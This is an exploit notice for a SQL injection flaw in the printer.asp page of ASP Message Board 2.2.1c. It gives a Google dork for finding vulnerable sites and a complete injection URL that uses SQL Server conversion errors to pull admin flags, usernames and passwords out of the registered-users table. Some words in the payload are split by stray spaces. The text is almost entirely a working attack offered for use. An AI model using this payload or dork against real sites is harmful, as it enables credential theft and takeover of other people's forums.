ASP Message Board 2.2.1c Remote SQL Injection Vulnerability

* Bug Found On : "ASP Message Board" * * Found By : Q7x *  * Home : Www.Larestankids.coM ( Ashiyane2 Security Team ) * * Dork : inurl:"printer.asp?forum=" * * Version : 2.2.1c * * Bug : ASP Message Board - printer.asp - Remote Sql Injection Exploit * * Exploit : Admin User / Password : http://www.site.com/boards/printer.asp?forum=AMB_xxxx&id=xxxx or 1=convert(int,(select top 1 convert(varchar,isnull(convert(varchar,Admin),'NUL L'))%2b'/'%2bconvert(varchar,isnull(convert(varcha r,Password),'NULL'))%2b'/'%2bconvert(varchar,isnul l(convert(varchar,Username),'NULL')) from AMB_REGISTEREDUSERS))